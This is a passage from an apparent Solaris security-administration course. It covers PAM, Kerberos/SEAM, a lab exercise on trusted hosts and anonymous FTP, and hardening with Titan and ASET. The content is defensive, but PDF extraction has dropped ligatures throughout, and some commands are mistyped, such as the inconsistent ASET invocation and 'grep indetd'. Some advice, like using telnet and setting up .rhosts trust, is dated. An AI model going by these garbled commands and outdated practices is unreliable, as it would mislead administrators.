The /usr/lib/security/$ISA/ path is placed in front of the le name if
an absolute path is not used. Therefore, use a full path name for modules
located in other directories.
If login species authentication through both the pam_local and
pam_unix modules, then the user must enter a password for each module.
If both passwords are the same, the use_first_pass module option
prompts the user for only one password and uses that password to
authenticate the user for both modules. If the passwords are different, the
authentication fails. Use this option with an optional control ag, as
shown in Code 13-4, to ensure that the user can log in.
Code 13-4 The use_first_pass Authentication Option
1 # Authentication management
2 login auth required /usr/lib/security/$ISA/pam_unix.so.1
3 login auth optional /usr/lib/security/$ISA/pam_local.so.1
use_first_pass
Deploying PAM
Before you decide how to employ PAM in an environment, you should
address these issues rst:
G Determine which modules to use
G Identify the services that need special attention; use the other
service where appropriate so that every application does not have to
be included
G Decide on the order in which the modules should be run
G Select the control ag for that module
G Choose any options necessary for the module
Note Consider the security implications when using the sufficient
and optional control ags.
Adding a PAM Module
To add a PAM module, follow these steps:
1. Become superuser.
2. Determine which control ags and other options to use.
3. Copy the new module to the /usr/lib/security directory.
4. Change the owner of the module to the root user with permissions
555.
5. Edit the /etc/pam.conf PAM conguration le and add this
module to the appropriate services.
Caution The superuser might not be able to log in if the PAM
conguration le is miscongured or becomes corrupted. The superuser
might have to boot the machine into single-user mode to x the problem.
6. Review the /etc/pam.conf le after making any changes effective.
7. Test the services to ensure that the conguration le has not been
miscongured. Use the rlogin, su, and telnet services.
Note If the service being tested is a daemon that is launched when the
system is booted, you might need to reboot the system to verify that the
module has been added.
8. Reboot the system and test all affected services again.
Disabling Remote Access Using PAM
You can use PAM access control to disable the trusted host mechanism
(/etc/hosts.equiv and .rhosts les) on a server.
To disable trusted hosts for the rlogin command remove this entry from
the PAM conguration le (/etc/pam.conf):
rlogin auth sufficient /usr/lib/security/$ISA/pam_rhost_auth.so.1
Deleting the previous line prevents the /etc/hosts.equiv and
$HOME/.rhosts les from being accessed during an rlogin session and
prevents unauthenticated access to the local system from remote systems.
All rlogin accesses require a password, regardless of the presence or
contents of any $HOME/.rhosts or /etc/hosts.equiv les.
To disable the rsh service, delete the line:
rsh auth required /usr/lib/security/$ISA/pam_rhosts_auth.so.1
Deleting this line stops unauthenticated access to the $HOME/.rhosts le.
In practice, you should stop the remote services from running by
commenting out the following lines in the /etc/inetd.conf le:
shell stream tcp nowait root /usr/sbin/in.rshd in.rshd
login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind
Users can use the telnet command as an alternative to the rlogin
command.
Initiating PAM Error Reporting
You can congure the PAM error reporting mechanism to:
G Display alert messages on the console
G Mail critical messages to the root user
G Append informational and debug messages to the
/var/log/pamlog le
G Report errors using the Syslog utility
G Report the Facility label is auth
To congure PAM error reporting, follow these steps:
1. Add the following PAM error reporting entries to the
/etc/syslog.conf le:
a. auth.alert /dev/console
b. auth.crit "root"
c. auth.info;auth.debug /var/log/pamlog
2. Create the log le.
# touch /var/log/pamlog; chmod 600 /var/log/pamlog
3. Restart the syslog daemon or send the daemon a SIGNUP signal to
activate the PAM error reporting.
# /etc/init.d/syslog stop
Stopping the syslog service.
# /etc/init.d/syslog start
syslog service starting.
Each line in the pamlog le contains a time stamp, the name of the system
that generated the message, and the message itself.
Note The pamlog le can become very large as large amounts of
information are logged.
Sun Enterprise Authentication Mechanism(SEAM)
SEAM is a clientserver authentication mechanism based on Kerberos 5.
SEAM is a single sign-on system which authenticates the user once and
then grants access to authorized network resources automatically. SEAM
does not transmit unencrypted passwords across the network.
Enhancing Security Using Kerberos v5
In 1983, the Massachusetts Institute of Technology (MIT), IBM, and Digital
Equipment Corporation began work on the Athena Project to develop an
integrated network environment for the university campus. The Athena
Project developed a solution called Kerberos to solve the security
problems of working with insecure computers (PCs running MS-DOS)
and an open network susceptible to snifng attacks.
Kerberos is an authentication system which uses Data Encryption
Standard (DES) cryptography to protect sensitive information such as
passwords on an open network. When a users logs onto a system running
Kerberos, the user is issued a ticket supplied by the Kerberos
Authentication server. The ticket can only be decrypted with the users
password and contains information necessary to obtain additional tickets.
From that point, whenever the user wants to access a network service, a
valid ticket must be presented. These tickets are obtained from the
Kerberos server. All of the information in a Kerberos ticket is encrypted
before it is transmitted over the network.
The Kerberos server stores the user name and password information
locally. Passwords are never transmitted over the network. Unlike UNIX,
Kerberos uses a reversible encryption algorithm (DES), so passwords can
be decrypted when they are required. Allowing the passwords to be
decrypted is a weakness in the system because the Kerberos server must
be secure and invulnerable to attack. An intruder that breaksin to the
Kerberos server has access to all of the passwords on the network.
Kerberos was developed before public key encryption such as RSA
(Rivest Shamir Adleman the professors who developed the RSA
algorithm) and Dife Hellman algorithms were publicly available.
Logging in Using Kerberos v5
Users logging in to a Kerberos protected system enter their user names
and passwords as usual. The system contacts the Kerberos Authentication
server, sending a data packet with the user name and the current system
time encrypted with the users password. If the Kerberos server can
decrypt the time in the users data packet, it returns a ticket-granting-
ticket, encrypted with the users password. The users system can now
contact the Kerberos ticket granting server to obtain tickets for access to
network services.
Kerberos Features
Kerberos contains the following features:
G Passwords are only stored on the Kerberos server.
G The users password is never transmitted across the network.
G The Kerberos Authentication server can validate the users identity
because it stores the users password. Part of the Kerberos system
setup requires that the users password be stored on the Kerberos
server.
G The user can validate the Kerberos servers identity because it knows
the users password.
G Network snifng can only pick up encrypted Kerberos data packets
or tickets.
Note Encrypted Kerberos packets have a wellknown data format and
are more susceptible to decrypting than a packet whose plain text is
entirely unknown. Kerberos tickets have a limited lifetime. Kerberos
tickets expire and new versions must be issued. The lifetime of a Kerberos
ticket is less than the time it currently requires to break the encryption
using brute force techniques.
Understanding Kerberos Limitations
Kerberos is a good solution to a difcult problem but it has the following
limitations:
G Using Kerberos is not transparent. Every network service (for
example login) requires modications to use the mechanism.
G Kerberos does not work well with multi-user systems. Kerberos was
designed for singleuser workstations and stores tickets in the /tmp
directory. These tickets can be stolen and used for fraudulent access
to the network services.
G The Kerberos Authentication server is a weak point. Special care
must be taken to ensure the security and integrity of this system.
G The Kerberos Authentication server must be continuously available.
Therefore, it is a single point of failure.
G Kerberos stores all DES encrypted passwords using a single key
which is stored on the hard disk of the Authentication server. If the
Authentication server is ever compromised, all network passwords
must be changed.
Configuring SEAM Clients
To congure a SEAM client, you must modify the PAM conguration les.
You must enhance the standard /etc/pam.conf conguration to include
the Kerberos authentication module
/usr/lib/security/pam_krb5.so.1 for every service that requires
SEAM.
The standard PAM conguration le contains the required lines for this
conguration, therefore you only need to uncomment the appropriate
lines. The Solaris AnswerBook includes step-by-step instructions for
conguring SEAM.
Uncomment the lines shown in Code 13-5 in the standard /etc/pam.conf
le to use the SEAM Kerberos authentication modules.
Code 13-5 Using SEAM Kerberos Authentication Modules
1 rloginauth optional /usr/lib/security/$ISA/pam_krb5.so.1
try_first_pass
2 login auth optional /usr/lib/security/$ISA/pam_krb5.so.1
try_first_pass
3 dtlogin auth optional /usr/lib/security/$ISA/pam_krb5.so.1
try_first_pass
4 other auth optional /usr/lib/security/$ISA/pam_krb5.so.1
try_first_pass
5 #
6 dtlogin account optional /usr/lib/security/$ISA/pam_krb5.so.1
7 other account optional /usr/lib/security/$ISA/pam_krb5.so.1
8 other session optional /usr/lib/security/$ISA/pam_krb5.so.1
9 other password optional /usr/lib/security/$ISA/pam_krb5.so.1 /
10 try_first_pass
11
To use SEAM across your network, you must install a SEAM (Kerberos)
server. The SEAM server is available under license from Sun
Microsystems (see http://www.sun.com/solaris/ds/ds-seam.html).
Exercise: Securing Network Services
G Disable some network services
G Congure trusted hosts
G Disable trusted host conguration les using PAM
G Set up Anonymous FTP
Preparation
Ensure that you know the host name of your workstation and identify a
nearby colleague who you will work with to test and secure each others
network services.
Tasks
Although these tasks are written for people working in pairs, you can
work through the questions alone by conguring and testing your own
workstation.
instructor.
Task Disabling Network Services
To disable Network Services:
1. Verify that you can run the finger command to nd out who is
logged in to your colleagues system. For example:
# finger @otherhost
2. Run finger for one of the users to get further details about that user
on the other workstation. Use the command format below or you
will not use the network finger command but a local version which
gets details of users on your workstation.
# finger user@otherhost
You can always prime the data by using the telnet command to log
into the system as the user alice, bob, or eve.
3. Ensure that your colleague can run the same commands on your
system.
4. Both of you should now disable the finger service in
/etc/inet.conf and verify that you can no longer run the finger
command to obtain data from your colleagues workstation.
Task Understanding Trusted Hosts
1. Look at the three example trusted hosts les shown in Code 13-6.
Code 13-6 Trusted Hosts Files
1 # hostname
2 wallace
3 # more /etc/hosts.equiv
4 grommit
5 # more /.rhosts
6 penguin
7 # /export/home/alice/.rhosts
8 penguin
9 sean awonder
2. Answer the following questions:
a. Can the root user on grommit copy les to and from wallace?
b. Can user alice on grommit run commands on wallace?
c. Can user alice on penguin run commands on wallace?
d. Can the root user on wallace copy les to and from penguin?
e. Can user awonder on sean run commands on wallace?
f. Can the root user on grommit log in to wallace?
Task Configuring Trusted Hosts
Working with your partner, set up your systems so that the root user and
the user alice (but no other user) can run remote commands and copy
les remotely.
Task Disabling Trusted Hosts
Working with your partner, congure PAM so that the rsh and rcp
commands cannot be used and congure the rlogin command so that it
always requires a password from the remote user.
Task Configuring Anonymous FTP
Read the manual page for the in.ftpd daemon and follow the
instructions to congure Anonymous FTP (the manual page includes a
shell script which automates the entire process).
Extract the shell script from the manual page by redirecting the output
from the man command to a text le and editing out the non-shell script
information.
For example:
# man in.ftpd >ftp.sh
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
The following paragraphs describe the Solaris OE commands necessary to
solve the problems posed in the exercises for this module.
Disabling Network Services
Edit the /etc/inetd.conf le and comment out the following line:
#finger stream tcp6 nowait nobody /usr/sbin/in.fingerd in.fingerd
Send the hang-up signal to the inetd process (get the process ID from the
ps listing):
# ps -ef | grep indetd
# kill -HUP pid
The finger command should now fail with a connection refused error
message.
Understanding Trusted Hosts
Answers to the questions:
a. Can the root user on grommit copy les to and from wallace?
No. hosts.equiv grants access to all users on grommit except the
root user and the le /.rhosts does not list grommit as a trusted
host.
b. Can user alice on grommit run commands on wallace?
Yes. hosts.equiv grants access to all users on grommit except
root.
c. Can user alice on penguin run commands on wallace?
Yes. While hosts.equiv does not grant access to users on penguin,
the .rhosts le of user alice does list penguin.
d. Can the root user on wallace copy les to and from penguin?
Unknown. The trusted hosts les on penguin control access to
penguin, and these have not been shown.
Exercise Solutions
e. Can user awonder on sean run commands on wallace?
Yes, as long as the -l option is used. The .rhosts le of user alice
does list the host sean and the user awonder, but the command must
be run as user alice. For example:
# rsh -l alice wallace ls -l
f. Can the root user on grommit log in to wallace?
Yes, but a password is required. The trusted host les do not allow the
rcp or rsh commands to run but will not stop the rlogin command.
A valid password must be supplied.
Configuring Trusted Hosts
Identify the host name of your colleagues system. For the purposes of
this solution this is otherhost. To grant root access to otherhost add a
line to your /.rhosts le:
# cat >>/.rhosts
otherhost
^D
To grant access to user alice, do the same thing to alices .rhosts le
(make sure alice owns the .rhosts le).
# su - alice
$ cat >>~/.rhosts
otherhost
^D
$ exit
Your colleague must do the same but must specify your host name
instead of otherhost.
The rsh and rcp commands now work as required.
Exercise Solutions
Disabling Trusted Hosts
Edit the /etc/pam.conf le and comment out the rlogin and rsh lines
which refer to the pam_rhosts_auth.so.1 authentication module. Make
sure that rlogin still has the pam_unix.so.1 module dened or rlogin
does not prompt for a password. For example:
# rlogin auth sufficient /usr/lib/security/$ISA/pam_rhosts_auth.so.1
rlogin auth required /usr/lib/security/$ISA/pam_unix.so.1
# rsh auth required /usr/lib/security/$ISA/pam_rhosts_auth.so.1
The rsh and rcp commands no longer work and rlogin always prompts
for a password.
Note On a live system you would disable the rsh and rlogin network
service by editing /etc/inetd.conf rather than removing the
authentication modules. However, if your users want to use the rlogin
service rather than the telnet service, then disabling the trusted hosts
les for the rlogin service is a sensible precaution.
Configuring Anonymous FTP
1. Create a user called ftp whose home directory is the Anonymous
ftp area. This user should be in a separate group from all other users
and should not have a valid login shell. Use the commands:
# groupadd -g 30000 ftp
# useradd -u 30000 -g 30000 -c "Anonymous FTP" -s /usr/bin/false \
-d /export/anon ftp
2. The ftp user should not have a valid password. The default
password is *LK*, which has locked the account from login. You
might want to edit the /etc/shadow le and set the password to NP
to show that this account is never used.
3. Extract the make Anonymous FTP script from the in.ftpd
manual pages as shown in Task Conguring Anonymous FTP on
page 13-53. If you want, run the following sed command which
extracts the script automatically (be sure to enter the script exactly as
shown):
# man in.ftpd | sed -n '{
> s/^[ ]*//
> /^$/d
> /^SunOS/d
Exercise Solutions
> /^Maintenance/d
> /^#!/,/^#chmod 1755 ${ftphome}\/pub/p
> }' >mkftp
4. Make the script executable using:
# chmod +x mkftp
5. Execute this script:
# ./mkftp
This script obtains the Anonymous FTP directory from the ftp user in the
/etc/passwd directory and copies in all the required programs, libraries,
and device les.
6. Test your Anonymous FTP account by running FTP to connect to
your workstation and log in as anonymous (use any password):
1 # ftp localhost
2 Connected to 192.168.1.2.
3 220 wallace FTP server (SunOS 5.8) ready.
4 User (192.168.0.250:(none)): anonymous
5 331 Guest login ok, send ident as password.
6 Password:
7 230 Guest login ok, access restrictions apply.
8 ftp> ls
9 200 PORT command successful.
10 150 ASCII data connection for /bin/ls (192.168.0.1,1057) (0 bytes).
11 bin
12 dev
13 etc
14 local.cshrc
15 local.login
16 local.profile
17 pub
18 usr
19 226 ASCII Transfer complete.
20 ftp: 66 bytes received in 0.22Seconds 0.30Kbytes/sec.
21 ftp>
14-1
Module 14
HardeningtheSystem
Objectives
G List at least two reasons for hardening a system
G Describe the role of Titan in a secure system
G Install and congure Titan
G Write a Titan module
G Congure and use the Automated Security Enhancement Tool
(ASET)
Relevance
Relevance
?
!
role of system hardening:
G Do your default le system permissions provide a secure installation?
G Are all your user accounts congured in a secure manner?
G Have you secured all of your systems network services?
G Do you need to apply the same changes to multiple systems?
G Can you automate any of these standard security measures?
Hardening the System 14-3
G Online Manual pages for aset(1).
G Frisch, Aeleen. System Administration. 2nd Ed, OReilly &
Associates, Inc. 1995.
G Solaris OE Security Toolkit;
[http://www.sun.com/security/jass]
G Solaris Operating Environment Whitepapers on Security;
[http://www.sun.com/blueprints/1299/minimization.pdf]
[http://www.sun.com/blueprints/1299/network.pdf]
[http://www.sun.com/blueprints/0100/security.pdf]
[http://www.sun.com/blueprints/tools]
G COPS online resources;
[ftp://ftp.cerias.purdue.edu/pub/tools/unix/scanners/
cops]
G Tiger online resources;
[ftp://ftp.cerias.purdue.edu/pub/tools/unix/scanners/
tiger]
G Titan online resources;
[http://www.fish.com/titan/]
SystemHardening
SystemHardening
The goal of system hardening is to install the Solaris OE so that it
provides good host security from the outset without you spending hours
making security modications. You can harden the system by using shell
scripts or Perl scripts which are run immediately after installation of a
new workstation or server, or are included as part of a JumpStart
conguration.
Hardening involves one or more of the following steps:
G Checking le permissions, ownerships, and digests
G Checking for user, group, and password insecurities
G Checking network services for secure congurations
G Performing any other checks the tool provider considers useful
Some tools only report on potential problems, while others actually secure
the host system.
SystemHardening
Commonly Available Hardening Tools
Several freeware tools are available to help with system hardening.
The following sections discuss these tools.
SystemHardening
COPS
Computer, Oracle, and Password System (COPS) is a set of programs that
attempts to automate security checks often performed manually (or
perhaps with self-written short shell scripts or programs) by a system
administrator.
COPS does not correct problems, but instead issues a report for the
administrator. COPS runs on most major UNIX platforms and is not
specic to the Solaris OE.
COPS checks and reports on the following:
G File, directory, and device permissions and modes.
G Poor passwords.
G Content, format, and security of password and group les.
G The programs and les run in /etc/rc* and crontab les.
G The existence of root-SUID (setuserID) les, their writability, and
whether they are shell scripts.
SystemHardening
G A cyclic-redundancy-check (CRC) against important binaries or key
les to report any changes therein.
G Writability of users home directories and startup les (.profile,
.cshrc, and so on).
G Anonymous FTP setup.
G Insecure network conguration, including:
G Unrestricted TFTP
G Decode alias in the sendmail program
G SUID uudecode problems
G Hidden shells inside inetd.conf
G The rexd daemon running in inetd.conf
G Miscellaneous root checks, such as:
G Current directory in the search path
G A + in the /etc/host.equiv le
G Unrestricted NFS mounts.
G Ensuring that the root user is in the /etc/ftpusers le
G Dates of Computer Emergency Response Team (CERT) advisories in
comparison with key les. This checks the dates that various bugs
and security holes were reported by CERT against the actual date on
the le in question.
G The Kuang expert system. This takes a set of rules and tries to
determine if your system can be compromised.
SystemHardening
Tiger
Tiger is a set of scripts that scan a UNIX system looking for security
problems in the same way as COPS. Tiger was originally developed to
check UNIX systems on the Texas A&M University campus that needed to
be accessed from off campus.
The primary purpose of many of the Tiger checks is to protect the
superuser account, and the philosophy behind Tiger is that any other
account or any group can be attacked and breached. Tigers goal is to
protect the root user from all accounts, even system accounts.
SystemHardening
Solaris Security Toolkit
Sun's Enterprise Engineering and Professional Services organizations
developed the Solaris Security Toolkit (formerly JumpStart Architecture
and Security Scripts [JASS] Toolkit) to harden, minimize, and secure
Solaris OE systems. The Toolkit simplies and automates the process of
securing Solaris OE systems. The Toolkit can be used through the
JumpStart program or in a standalone mode.
The Toolkit is a set of scripts and les that automatically harden Solaris
OE systems. The security enhancements contained in the Toolkit are
based on recommendations made in Sun BluePrint Online articles:
G Solaris Operating Environment Minimization for Security
http://www.sun.com/blueprints/1299/minimization.pdf
G Solaris Operating Environment Network Settings for Security
http://www.sun.com/blueprints/1299/network.pdf
G Solaris Operating Environment Security
http://www.sun.com/blueprints/0100/security.pdf
SystemHardening
Use the JASS Toolkit to execute these scripts from a JumpStart server at
the time of installation. You can also use the Toolkit directly from the
command line to secure existing systems. The Toolkit can be run multiple
times on the same client and can perform the same tasks with no adverse
affects which allows you to schedule the scripts on a regular basis using
the cron utility or after applying operating system patches.
Titan
Titan is discussed in detail in Using Titan on page 14-11. It is a free,
host-based security tool that can improve or audit the security of a UNIX
system. It can x or detect potential security problems.
ASET
Automated Security Enhancement Tool (ASET) is a standard Solaris OE
utility which reports and potentially corrects a number of security
problems. ASET is discussed in detail in Enhancing System Security
Using ASET on page 14-26.
Using Titan
Using Titan
Titan is a collection of programs which xes or tightens security problems
in the setup or conguration of a UNIX system. Titan was created by Brad
Powell of Sun Microsystems. Titan is written in Bourne shell and its
modular design allows anyone who can write a shell script or program to
add to it.
Titan automates the process of tightening up the operating system security
(its name is a pun on the word tighten). Titan is not a replacement for
other tools, but it helps simplify some security measures.
Titan does not duplicate much of the functionality of COPS and Tiger, so
use it in conjunction with these tools to provide a strong toolset for
hardening le systems.
Although Titan was developed primarily for the Solaris OE, it is also
available for SuSE and Redhat versions of Linux.
Using Titan
Titan Design Goals
Titan is a system hardening and intruder detection tool. Its design goals
are:
G After running Titan, the system should be more secure than before.
G Titans actions produce a consistent and understandably secure
system.
G Titan allows the administrator to control what Titan modules to run.
Because Titan is exible and you have the full source code, you can
remove unwanted security xes.
G Titan is easily extended. You can place shell scripts or other
programs into Titan's framework, and they run alongside all the
other programs.
Titan does not attempt to x all security issues. For example it does not:
G Fix software or script bugs
G Check for poor passwords
G Install patches
G Check for COPS, Tiger, or SAINT-like problems
Titan is not meant to be run once and forgotten, but should be used as
part of a regular process of sweeping the system for traces of successful
break-ins.
System administrators concerned about security should have considered,
if not resolved or xed, many of the problems that Titan covers. Titan
helps you because it is systematic. You do not need to wonder if you
nished applying all your changes. Run Titan in verify mode and it
reports on all the things that Titan thinks need hardening.
Using Titan
Using Titan Modules
Titan is built around a large number of modules (more than sixty), each of
which focuses on reporting and xing a particular security problem. Titan
modules have a dened structure to make it easy for you to write your
own modules.
You can use Titan to run some or all of the modules by editing a
conguration script. Sample conguration scripts for workstations and
servers are included in the Titan package. Not all of the Titan modules
should run on all systems.
Using Titan
Table 14-1 describes some of the modules that can be run on a system (a
full list of the modules is included in the Titan documentation).
Table 14-1 Some Titan Modules
Module Usage
add-umask.sh Adds systemwide umask for rc?.d les
which causes the system daemon to
create more secure les.
bsm.sh Veries that the Basic Security Module
(BSM) is enabled. It congures auditing
events by modifying the
/etc/security/audit_control le.
create-issue.sh Creates the /etc/issuebanner displayed
at login time.
cronset.sh Checks or xes CRONLOG-YES in the
/etc/default/cronle, rotates the cron
log les at 2 Mbytes, and changes the
cron permissions.
decode.sh Looks for any |characters in the
/etc/aliases le and xes them.
defloginparams.sh Resets the /etc/default/login le
parameters to a stricter mode.
defpwparams.sh Resets the /etc/default/password le
parameters to a stricter mode.
disable-
accounts.sh
Disables system accounts like bin and
daemon and creates a
/usr/sbin/noshell script.
disable-ping-
echo.sh
Disables the
ip_respond_to_echo_broadcast
service so that specic pingcrashes (from
Smurf attacks) do not work. It also hides
the system from some network probe
agents that use a broadcast ping
command to discover host names.
file-own.sh Changes system les (mainly in the /usr
directory) to be owned by the root user.
Using Titan
fix-cronpath.sh Changes the permission and ownership
of items that run out of the root users
cron utility. This prevents a new Trojan
horse or SUID root les from being
created when the cron utility is run.
fix-modes.sh Fixes all the mode 775 directories and
binaries, and changes the ownership to
the root user where needed.
ftp-2.6_secure.sh Works with the Solaris 2.6 Operating
Environment and newer version of the
in.ftpd daemon. It adds a UMASK=077
into the /etc/default/ftpd le, and
creates a short FTP login warning
message by creating the /etc/ftp-
banner le.
hosts.equiv.sh Checks for a /etc/hosts.equiv le.
inetd.sh Changes the /etc/inetd.conf le and
turns off most of the services.
loginlog.sh Fixes the syntax so that log entries are
created for failed login attempts.
lpsched.sh Disables the lpcommand. This module is
for rewalls and non-print servers.
nddconfig.sh Creates the /etc/rc2.d/S70nddconfig
le and sets all the kernel network
modules that are concerned with security.
nuke-sendmail.sh Disables the sendmail program. You
should use this module on rewalls that
are not sendmail servers, servers that are
not sendmail servers, and all desktops
that have their mail delivered to a server.
Table 14-1 Some Titan Modules (Continued)
Module Usage
Using Titan
Caution If you do not have a root password set, then the previous
Titan module disables root logins, too.
pam-rhosts-2.6.sh Modies the /etc/pam.conf le by
removing the following line so that the
PAM system does not allow rhosts
commands:
rlogin auth sufficient
/usr/lib/security/pam_rhosts_auth
.so.1
passwd.sh Checks that all accounts have passwords
andadds a * to blank passwordelds (if
run in x mode).
psfix.sh Creates the /etc/rc3.d/S79tmpfix le
so that upon boot the /tmp directory
always has the sticky bit set mode 1777.
rootchk.sh Checks roots path and makes sure that
the root user owns the directories and
binaries in the rootusers path. Removes
the . from the path.
syslog.sh Modies the /etc/syslog.conf le so
that console messages are saved to system
log les.
telnet-banner.sh Sets BANNER="" in the
/etc/default/telnetd source so that
the Solaris OE version is not displayed
before the login prompt.
userumask.sh Adds in a umask of 022 for users in
/etc/skel and /etc les.
utmp.sh Checks the utmpand utmpxles to ensure
that they are not world writable.
Table 14-1 Some Titan Modules (Continued)
Module Usage
Using Titan
Note Rerun the fix-modes.sh script whenever you add packages or
patches. You should run this module on a regular basis using the cron
utility or at least after adding any vendor patches.
Using Titan
Configuring Titan
After installing Titan and conguring it for your host environment (by
running the scripts Titan-Config), Titan is ready to use.
By default, Titan uses all of the installed modules. This is not appropriate
for most systems, so you should create a conguration le which includes
only the modules that you require.
Sample conguration les for a workstation (sample.Desktop), a server
(sample.Server), and a rewall (sample.Firewall) are provided in
Titans installation directory. Use these as a starting point to develop your
own conguration les.
You specify the conguration le on the Titan command line by using the
-c option. To use the desktop conguration le to verify your
workstations security level use:
# ./Titan -c sample.Desktop
Using Titan
Running Titan
When you have installed and congured Titan, you can run it in several
modes:
G Introductory Mode Runs Titan with the -i option to get an
information summary about each installed module, as follows:
# ./Titan -i
G Verify Mode Runs Titan with the -v option to get a security report
from each installed module, as follows:
# ./Titan -v
G Fix Mode Runs Titan with the -f option to x security weaknesses
for each installed module, as follows:
# ./Titan -f
Using Titan
Creating a Titan Configuration
Running Titan in default mode using all modules is not suitable for most
systems. Create your own conguration to use the Titan modules that are
applicable to the hosts that you administer. You can create different
congurations for different types of hosts, such as:
G Database servers
G Web servers
G File servers
G User workstations
G Firewalls
G Proxy servers
Using Titan
When you create your own Titan conguration, you must specify which
mode you want each module to use. This shows an example conguration
le which veries your hosts umask and BSM settings:
# more verify.config
add-umask.sh -v
bsm.sh -v
You can run Titan with this conguration le using:
# ./Titan -c verify.config
You need a separate conguration le to x security problems:
# more fix.config
add-umask.sh -f
bsm.sh -f
You can run Titan with this conguration le by entering:
# ./Titan -c fix.config
When running Titan conguration scripts, the module output is saved to a
log le in the log subdirectory of the Titan installation directory.
Note You can run modules with the -v option and the -f option from
the same conguration le, but this is not the standard practice.
Running a Single Module
You can run a single Titan module from the command line by specifying
the path name of the module (all modules are in the bin/modules
directory in the Titan installation directory) and the run mode. For
example, to verify the settings for the sendmail program use:
# bin/modules/nuke-sendmail.sh -v
Using Titan
Writing Your Own Titan Modules
Titan provides a template which you can copy and edit to create your own
modules. To create your own modules, you must be familiar with writing
shell scripts.
Begin with the template for your system architecture which is in Titans
installation directory in a subdirectory of the arch directory. For the
Solaris 8 OE:
arch/sol8sun4/src/stubs/skeleton
Copy this le to a working directory to make your changes, and add your
script to the conguration les that you use.
The template le is fully described in the Frequently Asked Questions
(FAQ) provided with Titan (docs/txt/FAQ.txt in the Titan installation
directory).
Using Titan
Module Structure
The module template contains all the administration code for checking the
Titan conguration and user command line. You only complete the three
functions which are called for in each of the possible run modes. These
functions are:
G Introduction section Intro() Any text that you place between
the EOF_INTRO keywords is echoed to the screen when the user
starts the script with the -i option, as shown in Code 14-1.
Code 14-1 Titan Introduction Section
1 Intro() {
2 cat << EOF_INTRO
3 Add in the information on what the script does here
4 EOF_INTRO
5 }
Using Titan
G Verify section Check() Use this function when a Titan script is
run in the -v verify mode. Look through the existing Titan scripts to
see some of the ways that the Check() function checks the system.
Every Check() function must write a PASSES CHECK or a FAILS
CHECK message so that users can determine if a Titan x is needed
or has already been applied to the system. Code 14-2 shows an
example.
Code 14-2 Titan Verify Section
1 Check() {
2 if [ -f /etc/init.d/init.dmi ]; then
3 echo " dmi daemon is enabled: FAILS CHECK"
4 exit 1
5 else
6 echo " dmi doesn't start at boot time: PASSES CHECK"
7 fi
8 }
G Fix section Fix() This function changes or modies system les.
The Fix() function is only invoked when the user specically runs a
Titan script with the -f ag. The Fix() function hardens the system
and can be quite complex. Code 14-3 is an example Fix() function
which moves and renames start-up les so that on system boot the
system no longer runs.
Code 14-3 Titan Fix Section
1 Fix() {
2 if [ -f /etc/init.d/init.dmi ]; then
3 echo " Saving /etc/init.d/init.dmi to /etc/init.d
/init.dmi.ORIG"
4 /bin/mv /etc/init.d/init.dmi /etc/init.d-init.dmi.ORIG.$$
5 /bin/mv /etc/rc2.d/K77dmi /etc/rc2.d-K77dmi.ORIG.$$
6 /bin/mv /etc/rc3.d/S77dmi /etc/rc3.d/S77dmi.ORIG.$$
7 chmod 0100 /etc/init.d-init.dmi.ORIG.$$
8 chmod 0100 /etc/rc2.d-K77dmi.ORIG.$$
9 chmod 0100 /etc/rc3.d/S77dmi.ORIG.$$
10 if [ $? -ne 0 ]; then
11 echo " ERROR: Could not rename /etc/rc3.d/S77dmi ;
exiting"
12 exit 1
13 else
14 echo "Done ... "
Using Titan
15 fi
16 fi
17 }
These functions are the essential elements of a Titan script. After you
write your script, copy or move your script to the Titan modules directory
(bin/modules) and make it executable. When Titan is run with the -i,
-v, or -f options, it runs all commands in the bin/modules directory that
are:
G Plain les
G Executable
Running Titan runs your script. If you use conguration les, you must
include your script name in the conguration le.
Note Another way to congure Titan is to move all the unnecessary
modules out of the bin/module directory or to remove the executable
permissions from the modules that you do not want to use.
Enhancing SystemSecurity Using ASET
The Solaris OE includes a software security guard for Sun systems called
ASET. ASET is a set of tasks that detect potential security vulnerabilities
and alter le access to improve system security.
Like the security measures of a building, ASET can provide levels of
computer system security that depend on what the system is used for and
how valuable or sensitive the data or programs that reside on the system
are.
Note ASET is an excellent tool when used as a periodic checklist of
items to be examined and implemented, but it is only part of an overall
plan to achieve system protection.
Using ASET Security Levels
ASET has three levels of security:
G Low This level performs a number of checks and produces reports
that outline potential security weakness. This level resets ownership
and permissions of important system les to the default settings
used when the system was rst installed.
G Medium This level modies some system les to restrict system
access if security risks are found. These modications should not
affect any system services.
G High This level provides a more secure system by setting system
parameters to minimal access permissions. Most system applications
and commands should work normally, but security protections take
precedence over any other system behavior.
By default, ASET runs at the lowest level of security.
The ASET utility performs seven tasks that make specic checks and,
depending on the selected level of security, adjustments to system les
and permissions to improve system security. Every ASET task includes
the creation of a report noting possible weaknesses found and changes
made. A description of each of the tasks is listed in Table 14-2.
Table 14-2 ASET Tasks
Task Report Name
Check whether the system can be safely used
as a rewall in a network
firewall.rpt
Check initialization les (.profile, .login,
.cshrc) for umask and PATH variable settings
env.rpt
Check the contents of system conguration
les such as the /etc/default/login le
sysconf.rpt
Check the consistency and integrity of
/etc/passwd and /etc/group entries
usrgrp.rpt
Verify appropriate system le permissions
based on congurations in the tune.* les
tune.rpt
Examine owner, permissions, links, and size
of important system les
cklist.rpt
Verify appropriate EEPROM security
parameters
eeprom.rpt
Running ASET Manually
To use the aset command, you must install the ASET (SUNWast) package,
which is a default package for the Solaris 8 OE. The necessary scripts and
directories usually reside in the /usr/aset directory, but you can install
them elsewhere. The /usr/aset directory is not in the standard search
path for the root user. The main script doing the work is
/usr/aset/aset.
By default, the aset utility does not run automatically; it must be started
by the superuser. The aset utility is usually run on a periodic basis
interactively or as a cron process.
To run the aset utility interactively at its lowest security level, type:
# /usr/aset/aset
To adjust the level of security described previously in this module, use the
-l option, and specify the level as a keyword:
G low Low-level security (the same as the no option command)
G med Medium-level security
G high High-level security
To run aset interactively with the highest level security, type:
# /usr/aset/aset -l high/
/usr/aset/aset -p -1 high
======= ASET Execution Log =======
ASET running at security level high
Machine = wallace; Current time = 0601_23:30
aset: Using /usr/aset as working directory
Executing task list ...
firewall
env
sysconf
usrgrp
...
To redirect the reports somewhere other than /usr/aset, use the -d
option to specify the new directory, as follows:
# /usr/aset/aset -d ./aset_reports
The tasks that ASET performs are controlled by several scripts in the
/usr/aset/tasks directory. There is one script for each task with the
